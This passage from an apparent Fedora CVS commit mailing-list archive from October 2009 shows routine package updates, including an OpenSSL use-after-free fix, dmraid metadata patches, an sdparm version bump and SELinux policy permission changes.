retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	12 Aug 2008 16:52:42 -0000	1.5
+++ .cvsignore	16 Oct 2009 11:31:21 -0000	1.6
@@ -1 +1 @@
-sdparm-1.03.tgz
+sdparm-1.04.tgz


Index: sdparm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-4/sdparm.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sdparm.spec	27 Jul 2009 04:05:04 -0000	1.10
+++ sdparm.spec	16 Oct 2009 11:31:21 -0000	1.11
@@ -1,7 +1,7 @@
 Summary:   List or change SCSI/SATA disk parameters
 Name:      sdparm
-Version:   1.03
-Release:   4%{?dist}
+Version:   1.04
+Release:   1%{?dist}
 License:   BSD
 Group:     Applications/System
 URL:       http://sg.danny.cz/sg/sdparm.html
@@ -45,6 +45,9 @@ such that the disk stops operating or is
 %{_mandir}/man8/%{name}*
 
 %changelog
+* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
+- 1.04
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.03-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-4/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Aug 2008 16:52:42 -0000	1.5
+++ sources	16 Oct 2009 11:31:21 -0000	1.6
@@ -1 +1 @@
-0f7ef943ee0a000ba90fe00ccb82763b  sdparm-1.03.tgz
+b20c281bc185ea7d3c5e78a8c0be2a46  sdparm-1.04.tgz



From tmraz at fedoraproject.org  Fri Oct 16 11:40:27 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Fri, 16 Oct 2009 11:40:27 +0000 (UTC)
Subject: rpms/openssl/F-12 openssl-1.0.0-beta3-ssl-free.patch, NONE,
	1.1 openssl.spec, 1.143, 1.144
Message-ID: <20091016114027.AEFD011C02A2@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/openssl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3735

Modified Files:
	openssl.spec 
Added Files:
	openssl-1.0.0-beta3-ssl-free.patch 
Log Message:
* Fri Oct 16 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.10.beta3
- fix use of freed memory if SSL_CTX_free() is called before
  SSL_free() (#521342)


openssl-1.0.0-beta3-ssl-free.patch:
 s3_lib.c  |    1 +
 ssl_lib.c |    3 ++-
 2 files changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE openssl-1.0.0-beta3-ssl-free.patch ---
diff -up openssl-1.0.0-beta3/ssl/ssl_lib.c.ctx-free openssl-1.0.0-beta3/ssl/ssl_lib.c
--- openssl-1.0.0-beta3/ssl/ssl_lib.c.ctx-free	2009-10-08 20:44:26.000000000 +0200
+++ openssl-1.0.0-beta3/ssl/ssl_lib.c	2009-10-16 11:56:53.000000000 +0200
@@ -556,7 +556,6 @@ void SSL_free(SSL *s)
 	if (s->cert != NULL) ssl_cert_free(s->cert);
 	/* Free up if allocated */
 
-	if (s->ctx) SSL_CTX_free(s->ctx);
 #ifndef OPENSSL_NO_TLSEXT
 	if (s->tlsext_hostname)
 		OPENSSL_free(s->tlsext_hostname);
@@ -580,6 +579,8 @@ void SSL_free(SSL *s)
 
 	if (s->method != NULL) s->method->ssl_free(s);
 
+	if (s->ctx) SSL_CTX_free(s->ctx);
+
 #ifndef	OPENSSL_NO_KRB5
 	if (s->kssl_ctx != NULL)
 		kssl_ctx_free(s->kssl_ctx);
diff -up openssl-1.0.0-beta3/ssl/s3_lib.c.hbuf-clear openssl-1.0.0-beta3/ssl/s3_lib.c
--- openssl-1.0.0-beta3/ssl/s3_lib.c.hbuf-clear	2009-05-28 20:10:47.000000000 +0200
+++ openssl-1.0.0-beta3/ssl/s3_lib.c	2009-10-16 09:50:24.000000000 +0200
@@ -2211,6 +2211,7 @@ void ssl3_clear(SSL *s)
  	wlen = s->s3->wbuf.len;
 	if (s->s3->handshake_buffer) {
 		BIO_free(s->s3->handshake_buffer);
+		s->s3->handshake_buffer = NULL;
 	}
 	if (s->s3->handshake_dgst) {
 		ssl3_free_digest_list(s);


Index: openssl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssl/F-12/openssl.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- openssl.spec	8 Oct 2009 19:01:43 -0000	1.143
+++ openssl.spec	16 Oct 2009 11:40:27 -0000	1.144
@@ -23,7 +23,7 @@
 Summary: A general purpose cryptography library with TLS implementation
 Name: openssl
 Version: 1.0.0
-Release: 0.9.%{beta}%{?dist}
+Release: 0.10.%{beta}%{?dist}
 # We remove certain patented algorithms from the openssl source tarball
 # with the hobble-openssl script which is included below.
 Source: openssl-%{version}-%{beta}-usa.tar.bz2
@@ -69,6 +69,7 @@ Patch61: openssl-1.0.0-beta3-namingblk.p
 Patch62: openssl-1.0.0-beta3-camellia-rounds.patch
 Patch63: openssl-1.0.0-beta3-dtls1-fix.patch
 Patch64: openssl-1.0.0-beta3-ssl-session.patch
+Patch65: openssl-1.0.0-beta3-ssl-free.patch
 
 License: OpenSSL
 Group: System Environment/Libraries
@@ -155,6 +156,7 @@ from other formats to the formats used b
 %patch62 -p1 -b .cmll-rounds
 %patch63 -p1 -b .dtls1-fix
 %patch64 -p1 -b .ssl-session
+%patch65 -p1 -b .ssl-free
 
 # Modify the various perl scripts to reference perl in the right location.
 perl util/perlpath.pl `dirname %{__perl}`
@@ -403,6 +405,10 @@ rm -rf $RPM_BUILD_ROOT/%{_libdir}/fipsca
 %postun -p /sbin/ldconfig
 
 %changelog
+* Fri Oct 16 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.10.beta3
+- fix use of freed memory if SSL_CTX_free() is called before
+  SSL_free() (#521342)
+
 * Thu Oct  8 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.9.beta3
 - fix typo in DTLS1 code (#527015)
 - fix leak in error handling of d2i_SSL_SESSION()



From mauelsha at fedoraproject.org  Fri Oct 16 11:43:17 2009
From: mauelsha at fedoraproject.org (Heinz Mauelshagen)
Date: Fri, 16 Oct 2009 11:43:17 +0000 (UTC)
Subject: rpms/dmraid/F-12 ddf1_lsi_persistent_name.patch, NONE,
	1.1 pdc_raid10_failure.patch, NONE, 1.1 dmraid.spec, 1.106,
	1.107 sources, 1.26, 1.27
Message-ID: <20091016114317.47DB011C00E5@cvs1.fedora.phx.redhat.com>

Author: mauelsha

Update of /cvs/pkgs/rpms/dmraid/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4405

Modified Files:
	dmraid.spec sources 
Added Files:
	ddf1_lsi_persistent_name.patch pdc_raid10_failure.patch 
Log Message:
Update F-12 to rawhide 1.0.0.rc16-6

ddf1_lsi_persistent_name.patch:
 ddf1.c |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- NEW FILE ddf1_lsi_persistent_name.patch ---
diff --git a/lib/format/ddf/ddf1.c.lsi_name b/lib/format/ddf/ddf1.c
index 05b550b..c8e484b 100644
--- a/lib/format/ddf/ddf1.c
+++ b/lib/format/ddf/ddf1.c
@@ -696,6 +696,16 @@ name(struct lib_context *lc, struct ddf1 *ddf1, struct raid_dev *rd)
 			sprintf(b, "%02x%02x%02x%02x",
 				vd->guid[i], vd->guid[i + 1],
 				vd->guid[i + 2], vd->guid[i + 3]);
+
+		/*
+		 * Because the LSI bios changes the timestamp in the
+		 * metadata on every boot, we have to neutralize it
+		 * in order to allow for persistent names.
+		 *
+		 * Using a dummy string "47114711" for that.
+		 */
+		if (!strncmp((char *) vd->guid, "LSI", 3))
+			strncpy(buf + prefix + 32, "47114711", 8);
 	}
 
 out:

pdc_raid10_failure.patch:
 pdc.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE pdc_raid10_failure.patch ---
diff --git a/lib/format/ataraid/pdc.c.raid10_failure b/lib/format/ataraid/pdc.c
index b0bb652..8b14d71 100644
--- a/lib/format/ataraid/pdc.c
+++ b/lib/format/ataraid/pdc.c
@@ -490,7 +490,9 @@ devices(struct raid_dev *rd, void *context)
 	if (context && pdc->raid.type != PDC_T_SPAN)
 		*((uint64_t *) context) += rd->sectors;
 
-	return pdc->raid.total_disks;
+	return is_raid10(pdc) ?
+	       pdc->raid.total_disks / 2 :
+	       pdc->raid.total_disks;
 }
 
 static int


Index: dmraid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dmraid/F-12/dmraid.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- dmraid.spec	21 Sep 2009 14:29:50 -0000	1.106
+++ dmraid.spec	16 Oct 2009 11:43:16 -0000	1.107
@@ -7,7 +7,7 @@
 Summary: dmraid (Device-mapper RAID tool and library)
 Name: dmraid
 Version: 1.0.0.rc16
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://people.redhat.com/heinzm/sw/dmraid
@@ -24,6 +24,8 @@ Provides: dmraid-libs = %{version}-%{rel
 Source: ftp://people.redhat.com/heinzm/sw/dmraid/src/%{name}-%{version}.tar.bz2
 
 Patch0: dmraid-1.0.0.rc16-test_devices.patch
+Patch1: ddf1_lsi_persistent_name.patch
+Patch2: pdc_raid10_failure.patch
 
 %description
 DMRAID supports RAID device discovery, RAID set activation, creation,
@@ -64,8 +66,12 @@ Device failure reporting has to be activ
 %prep
 %setup -q -n dmraid/%{version}
 %patch0 -p1
+%patch1 -p1
+%patch2 -p1
 
 %build
+%define _libdir /%{_lib}
+
 %configure --prefix=${RPM_BUILD_ROOT}/usr --sbindir=${RPM_BUILD_ROOT}/sbin --libdir=${RPM_BUILD_ROOT}/%{_libdir} --mandir=${RPM_BUILD_ROOT}/%{_mandir} --includedir=${RPM_BUILD_ROOT}/%{_includedir} --enable-debug --enable-libselinux --enable-libsepol --disable-static_link --enable-led --enable-intel_led
 make DESTDIR=$RPM_BUILD_ROOT
 
@@ -77,6 +83,8 @@ ln -s dmraid $RPM_BUILD_ROOT/sbin/dmraid
 
 # Provide convenience link from dmevent_tool
 (cd $RPM_BUILD_ROOT/sbin ; ln -f dmevent_tool dm_dso_reg_tool)
+(cd $RPM_BUILD_ROOT/%{_mandir}/man8 ; ln -f dmevent_tool.8 dm_dso_reg_tool.8 ; ln -f dmraid.8 dmraid.static.8)
+
 install -m 644 include/dmraid/*.h $RPM_BUILD_ROOT%{_includedir}/dmraid/
 
 # If requested, install the libdmraid and libdmraid-events (for dmeventd) DSO
@@ -120,6 +128,7 @@ rm -rf $RPM_BUILD_ROOT
 %files -n dmraid-events
 %defattr(-,root,root)
 /%{_mandir}/man8/dmevent_tool*
+/%{_mandir}/man8/dm_dso_reg_tool*
 /sbin/dmevent_tool
 /sbin/dm_dso_reg_tool
 
@@ -130,6 +139,14 @@ rm -rf $RPM_BUILD_ROOT
 %ghost /etc/logwatch/scripts/services/dmeventd_syslogpattern.txt
 
 %changelog
+* Fri Oct 16 2009  Heinz Mauelshagen <heinzm at redhat.com> - 1.0.0.rc16-4
+- bz526157: fix manual pages for dmraid.static and dm_dso_reg_tool
+- bz505562: ddf1 metadata format handler LSI persistent name fix
+- bz524168: fix pdc metadata format handler to report the correct number
+  of devices in a RAID10 subset
+- bz528097: move libraries to /lib* in order to avoid catch22
+  with unmountable u/usr
+
 * Mon Sep 21 2009 Hans de Goede <hdegoede at redhat.com> - 1.0.0.rc16-3
 - Add Obsoletes for dmraid-libs packages (merged into the main pkg, #524261)
 - Make -devel Require the main package now the dmraid-libs package is gone


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dmraid/F-12/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	16 Sep 2009 22:52:42 -0000	1.26
+++ sources	16 Oct 2009 11:43:17 -0000	1.27
@@ -1,2 +1 @@
-2602887205a35f89b59eeba3a868150f  dmraid-1.0.0.rc15.tar.bz2
-32832c1dfd7e72cd4355490322fca68a  dmraid-1.0.0.rc16.tar.bz2
+507252c1b68d745c2ecbda2ceac8feea  dmraid-1.0.0.rc16.tar.bz2



From tim4dev at fedoraproject.org  Fri Oct 16 11:44:30 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 11:44:30 +0000 (UTC)
Subject: rpms/webacula/F-11 .cvsignore,1.3,1.4 sources,1.3,1.4
Message-ID: <20091016114430.6181E11C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4768

Modified Files:
	.cvsignore sources 
Log Message:
commit



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	16 Oct 2009 11:19:17 -0000	1.3
+++ .cvsignore	16 Oct 2009 11:44:30 -0000	1.4
@@ -0,0 +1 @@
+webacula-3.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	16 Oct 2009 11:19:18 -0000	1.3
+++ sources	16 Oct 2009 11:44:30 -0000	1.4
@@ -0,0 +1 @@
+d6ffafa3315758fb8d6b313e50c5c78c  webacula-3.3.tar.gz



From mgrepl at fedoraproject.org  Fri Oct 16 11:58:41 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Fri, 16 Oct 2009 11:58:41 +0000 (UTC)
Subject: rpms/selinux-policy/F-11 policy-20090521.patch, 1.56,
	1.57 selinux-policy.spec, 1.907, 1.908
Message-ID: <20091016115841.131E011C00E5@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8377

Modified Files:
	policy-20090521.patch selinux-policy.spec 
Log Message:
- Allow xdm to unlink xauth_home_t



policy-20090521.patch:
 man/man8/samba_selinux.8                  |    4 
 policy/mcs                                |   12 -
 policy/modules/admin/certwatch.te         |    4 
 policy/modules/admin/kismet.te            |   16 +
 policy/modules/admin/logrotate.te         |    6 
 policy/modules/admin/mrtg.te              |    8 
 policy/modules/admin/prelink.te           |    9 
 policy/modules/admin/readahead.te         |    2 
 policy/modules/admin/rpm.fc               |    1 
 policy/modules/admin/rpm.if               |   46 +++++
 policy/modules/admin/rpm.te               |    4 
 policy/modules/admin/shorewall.fc         |   12 +
 policy/modules/admin/shorewall.if         |  166 ++++++++++++++++++
 policy/modules/admin/shorewall.te         |  103 +++++++++++
 policy/modules/admin/sudo.if              |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    3 
 policy/modules/admin/usermanage.te        |    3 
 policy/modules/apps/awstats.te            |    2 
 policy/modules/apps/calamaris.te          |    4 
 policy/modules/apps/gitosis.fc            |    4 
 policy/modules/apps/gitosis.if            |   96 ++++++++++
 policy/modules/apps/gitosis.te            |   43 ++++
 policy/modules/apps/gnome.te              |   10 +
 policy/modules/apps/gpg.if                |    2 
 policy/modules/apps/gpg.te                |    1 
 policy/modules/apps/java.te               |    2 
 policy/modules/apps/mozilla.if            |   16 +
 policy/modules/apps/mozilla.te            |   14 -
 policy/modules/apps/nsplugin.if           |    2 
 policy/modules/apps/ptchown.fc            |    2 
 policy/modules/apps/ptchown.if            |   22 ++
 policy/modules/apps/ptchown.te            |   40 ++++
 policy/modules/apps/qemu.fc               |    1 
 policy/modules/apps/qemu.te               |    5 
 policy/modules/apps/sandbox.if            |  134 +++++++++++---
 policy/modules/apps/sandbox.te            |  274 +++++++++++++++++++++++++++---
 policy/modules/apps/screen.if             |    1 
 policy/modules/apps/vmware.fc             |    1 
 policy/modules/apps/vmware.te             |    6 
 policy/modules/kernel/corecommands.fc     |   10 -
 policy/modules/kernel/corenetwork.te.in   |    5 
 policy/modules/kernel/devices.fc          |    3 
 policy/modules/kernel/devices.if          |  145 +++++++++++++++
 policy/modules/kernel/devices.te          |   13 +
 policy/modules/kernel/domain.if           |   45 +---
 policy/modules/kernel/domain.te           |   31 +++
 policy/modules/kernel/files.if            |    4 
 policy/modules/kernel/kernel.if           |    2 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    2 
 policy/modules/kernel/terminal.if         |   19 ++
 policy/modules/roles/staff.te             |   12 +
 policy/modules/roles/sysadm.if            |   35 +++
 policy/modules/roles/sysadm.te            |    4 
 policy/modules/roles/unconfineduser.te    |   10 -
 policy/modules/roles/unprivuser.te        |    4 
 policy/modules/roles/xguest.te            |    6 
 policy/modules/services/afs.fc            |    2 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/apache.fc         |    5 
 policy/modules/services/apache.te         |    1 
 policy/modules/services/automount.if      |   18 +
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bluetooth.te      |    1 
 policy/modules/services/clamav.te         |    4 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   21 ++
 policy/modules/services/cobbler.te        |   10 +
 policy/modules/services/consolekit.te     |    3 
 policy/modules/services/cron.if           |   19 --
 policy/modules/services/cron.te           |    2 
 policy/modules/services/cups.fc           |    2 
 policy/modules/services/cups.te           |   28 ++-
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   28 +++
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 ++
 policy/modules/services/devicekit.te      |    6 
 policy/modules/services/dnsmasq.te        |    8 
 policy/modules/services/dovecot.if        |   34 +--
 policy/modules/services/dovecot.te        |   22 +-
 policy/modules/services/exim.te           |    7 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |   10 -
 policy/modules/services/ftp.te            |   15 +
 policy/modules/services/gnomeclock.te     |    1 
 policy/modules/services/gpsd.fc           |    3 
 policy/modules/services/gpsd.te           |   19 +-
 policy/modules/services/hal.te            |   15 +
 policy/modules/services/hddtemp.fc        |    4 
 policy/modules/services/hddtemp.if        |   38 ++++
 policy/modules/services/hddtemp.te        |   40 ++++
 policy/modules/services/kerberos.if       |    2 
 policy/modules/services/kerberos.te       |   12 +
 policy/modules/services/lircd.te          |    7 
 policy/modules/services/mailman.if        |    1 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/mta.if            |    1 
 policy/modules/services/mysql.te          |    6 
 policy/modules/services/nis.te            |    3 
 policy/modules/services/nslcd.fc          |    4 
 policy/modules/services/nslcd.if          |  145 +++++++++++++++
 policy/modules/services/nslcd.te          |   50 +++++
 policy/modules/services/nx.fc             |    3 
 policy/modules/services/nx.if             |   20 ++
 policy/modules/services/openvpn.te        |   14 +
 policy/modules/services/pcscd.if          |    3 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/polkit.fc         |    2 
 policy/modules/services/polkit.if         |    2 
 policy/modules/services/polkit.te         |    3 
 policy/modules/services/postfix.if        |   26 ++
 policy/modules/services/postfix.te        |   26 --
 policy/modules/services/postgresql.te     |    2 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |    2 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/pyzor.fc          |    2 
 policy/modules/services/pyzor.te          |    2 
 policy/modules/services/radvd.te          |    2 
 policy/modules/services/rpc.te            |   15 +
 policy/modules/services/rpcbind.if        |   20 ++
 policy/modules/services/rsync.te          |    2 
 policy/modules/services/samba.te          |    6 
 policy/modules/services/sasl.te           |    6 
 policy/modules/services/sendmail.if       |   39 ++++
 policy/modules/services/sendmail.te       |    7 
 policy/modules/services/setroubleshoot.te |    5 
 policy/modules/services/shorewall.fc      |   12 -
 policy/modules/services/shorewall.if      |  166 ------------------
 policy/modules/services/shorewall.te      |  102 -----------
 policy/modules/services/smartmon.te       |    4 
 policy/modules/services/snmp.if           |   37 ++++
 policy/modules/services/snmp.te           |    2 
 policy/modules/services/spamassassin.fc   |    8 
 policy/modules/services/spamassassin.te   |    2 
 policy/modules/services/squid.te          |    2 
 policy/modules/services/ssh.if            |   23 ++
 policy/modules/services/ssh.te            |   14 +
 policy/modules/services/sssd.fc           |    4 
 policy/modules/services/sssd.if           |   16 -
 policy/modules/services/sssd.te           |   35 +--
 policy/modules/services/uucp.te           |    2 
 policy/modules/services/virt.fc           |    1 
 policy/modules/services/virt.te           |   27 ++
 policy/modules/services/xserver.fc        |    3 
 policy/modules/services/xserver.if        |   41 ++++
 policy/modules/services/xserver.te        |   17 +
 policy/modules/system/authlogin.fc        |    3 
 policy/modules/system/authlogin.if        |  270 ++++++++++++++++++-----------
 policy/modules/system/authlogin.te        |   27 +-
 policy/modules/system/init.fc             |    2 
 policy/modules/system/init.te             |    6 
 policy/modules/system/ipsec.te            |   61 +++++-
 policy/modules/system/iptables.te         |    4 
 policy/modules/system/iscsi.te            |    1 
 policy/modules/system/libraries.fc        |   13 +
 policy/modules/system/locallogin.te       |    6 
 policy/modules/system/logging.fc          |    1 
 policy/modules/system/logging.te          |    4 
 policy/modules/system/miscfiles.fc        |    1 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |    1 
 policy/modules/system/sysnetwork.if       |    1 
 policy/modules/system/sysnetwork.te       |   17 +
 policy/modules/system/udev.fc             |    1 
 policy/modules/system/udev.te             |   10 +
 policy/modules/system/userdomain.if       |   35 ++-
 policy/modules/system/virtual.te          |    5 
 policy/modules/system/xen.te              |    1 
 172 files changed, 2603 insertions(+), 687 deletions(-)

Index: policy-20090521.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/policy-20090521.patch,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- policy-20090521.patch	2 Oct 2009 07:12:30 -0000	1.56
+++ policy-20090521.patch	16 Oct 2009 11:58:40 -0000	1.57
@@ -3018,6 +3018,17 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/fail2ban.te serefpolicy-3.6.12/policy/modules/services/fail2ban.te
+--- nsaserefpolicy/policy/modules/services/fail2ban.te	2009-06-25 10:19:44.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/services/fail2ban.te	2009-10-16 13:32:38.000000000 +0200
+@@ -79,6 +79,7 @@
+ auth_use_nsswitch(fail2ban_t)
+ 
+ logging_read_all_logs(fail2ban_t)
++logging_send_syslog_msg(fail2ban_t)
+ 
+ miscfiles_read_localization(fail2ban_t)
+ 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/fetchmail.te serefpolicy-3.6.12/policy/modules/services/fetchmail.te
 --- nsaserefpolicy/policy/modules/services/fetchmail.te	2009-06-25 10:19:44.000000000 +0200
 +++ serefpolicy-3.6.12/policy/modules/services/fetchmail.te	2009-06-29 16:22:53.000000000 +0200
@@ -3409,14 +3420,17 @@ diff -b -B --ignore-all-space --exclude-
  kerberos_use(kpropd_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/lircd.te serefpolicy-3.6.12/policy/modules/services/lircd.te
 --- nsaserefpolicy/policy/modules/services/lircd.te	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/services/lircd.te	2009-07-30 17:14:36.000000000 +0200
-@@ -45,6 +45,10 @@
++++ serefpolicy-3.6.12/policy/modules/services/lircd.te	2009-10-16 13:42:13.000000000 +0200
+@@ -45,6 +45,13 @@
  dev_filetrans(lircd_t, lircd_sock_t, sock_file )
  dev_read_generic_usb_dev(lircd_t)
  
 +dev_filetrans_lirc(lircd_t)
 +dev_rw_input_dev(lircd_t)
 +dev_rw_lirc(lircd_t)
++dev_rw_mouse(lircd_t)
++
++dev_read_generic_usb_dev(lircd_t)
 +
  logging_send_syslog_msg(lircd_t)
  
@@ -3432,6 +3446,18 @@ diff -b -B --ignore-all-space --exclude-
  	read_files_pattern($1, mailman_data_t, mailman_data_t)
  	read_lnk_files_pattern($1, mailman_data_t, mailman_data_t)
  ')
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/milter.if serefpolicy-3.6.12/policy/modules/services/milter.if
+--- nsaserefpolicy/policy/modules/services/milter.if	2009-06-25 10:19:44.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/services/milter.if	2009-10-16 13:35:27.000000000 +0200
+@@ -35,6 +35,8 @@
+ 	# Create other data files and directories in the data directory
+ 	manage_files_pattern($1_milter_t, $1_milter_data_t, $1_milter_data_t)
+ 
++	files_read_etc_files($1_milter_t)
++
+ 	miscfiles_read_localization($1_milter_t)
+ 
+ 	logging_send_syslog_msg($1_milter_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/mta.if serefpolicy-3.6.12/policy/modules/services/mta.if
 --- nsaserefpolicy/policy/modules/services/mta.if	2009-06-25 10:19:44.000000000 +0200
 +++ serefpolicy-3.6.12/policy/modules/services/mta.if	2009-06-25 10:21:01.000000000 +0200
@@ -5183,8 +5209,17 @@ diff -b -B --ignore-all-space --exclude-
  	allow $1 xdm_t:x_drawable { read receive get_property getattr send list_child add_child };
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/xserver.te serefpolicy-3.6.12/policy/modules/services/xserver.te
 --- nsaserefpolicy/policy/modules/services/xserver.te	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/services/xserver.te	2009-09-30 09:25:12.000000000 +0200
-@@ -370,8 +370,9 @@
++++ serefpolicy-3.6.12/policy/modules/services/xserver.te	2009-10-09 09:30:55.000000000 +0200
+@@ -339,6 +339,8 @@
+ allow xdm_t self:appletalk_socket create_socket_perms;
+ allow xdm_t self:key { search link write };
+ 
++allow xdm_t xauth_home_t:file manage_file_perms;
++
+ allow xdm_t xconsole_device_t:fifo_file { getattr setattr };
+ manage_dirs_pattern(xdm_t, xkb_var_lib_t, xkb_var_lib_t)
+ manage_files_pattern(xdm_t, xkb_var_lib_t, xkb_var_lib_t)
+@@ -370,8 +372,9 @@
  manage_lnk_files_pattern(xdm_t, xdm_tmpfs_t, xdm_tmpfs_t)
  manage_fifo_files_pattern(xdm_t, xdm_tmpfs_t, xdm_tmpfs_t)
  manage_sock_files_pattern(xdm_t, xdm_tmpfs_t, xdm_tmpfs_t)
@@ -5195,7 +5230,7 @@ diff -b -B --ignore-all-space --exclude-
  fs_read_noxattr_fs_files(xdm_t)
  
  manage_files_pattern(xdm_t, user_fonts_t, user_fonts_t)
-@@ -530,6 +531,7 @@
+@@ -530,6 +533,7 @@
  miscfiles_read_localization(xdm_t)
  miscfiles_read_fonts(xdm_t)
  miscfiles_manage_localization(xdm_t)
@@ -5203,7 +5238,7 @@ diff -b -B --ignore-all-space --exclude-
  
  userdom_dontaudit_use_unpriv_user_fds(xdm_t)
  userdom_create_all_users_keys(xdm_t)
-@@ -538,6 +540,7 @@
+@@ -538,6 +542,7 @@
  # Search /proc for any user domain processes.
  userdom_read_all_users_state(xdm_t)
  userdom_signal_all_users(xdm_t)
@@ -5211,7 +5246,7 @@ diff -b -B --ignore-all-space --exclude-
  userdom_manage_user_tmp_sockets(xdm_t)
  userdom_manage_tmpfs_role(system_r, xdm_t)
  
-@@ -651,7 +654,12 @@
+@@ -651,7 +656,12 @@
  ')
  
  optional_policy(`
@@ -5224,7 +5259,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  # On crash gdm execs gdb to dump stack
-@@ -839,7 +847,6 @@
+@@ -839,7 +849,6 @@
  fs_search_nfs(xserver_t)
  fs_search_auto_mountpoints(xserver_t)
  fs_search_ramfs(xserver_t)
@@ -5232,7 +5267,7 @@ diff -b -B --ignore-all-space --exclude-
  fs_rw_tmpfs_files(xserver_t)
  
  mls_xwin_read_to_clearance(xserver_t)
-@@ -931,6 +938,10 @@
+@@ -931,6 +940,10 @@
  ')
  
  optional_policy(`


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/selinux-policy.spec,v
retrieving revision 1.907
retrieving revision 1.908
diff -u -p -r1.907 -r1.908
--- selinux-policy.spec	30 Sep 2009 15:56:03 -0000	1.907
+++ selinux-policy.spec	16 Oct 2009 11:58:40 -0000	1.908
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.12
-Release: 85%{?dist}
+Release: 86%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -442,6 +442,9 @@ exit 0
 %endif
 
 %changelog
+* Fri Oct 16 2009 Miroslav Grepl <mgrepl at redhat.com> 3.6.12-86
+- Allow xdm to unlink xauth_home_t
+
 * Wed Sep 30 2009 Miroslav Grepl <mgrepl at redhat.com> 3.6.12-85
 - dovecot needs setcap/getcap
 - Fix up sssd policy  
@@ -449,7 +452,6 @@ exit 0
 * Tue Sep 22 2009 Miroslav Grepl <mgrepl at redhat.com> 3.6.12-84
 - Allow sshd to create .ssh directory and content
 
-
 * Wed Sep 16 2009 Miroslav Grepl <mgrepl at redhat.com> 3.6.12-83
 - Add wordpress/wp-content/uploads label
 - Add /var/lib/libvirt/qemu label



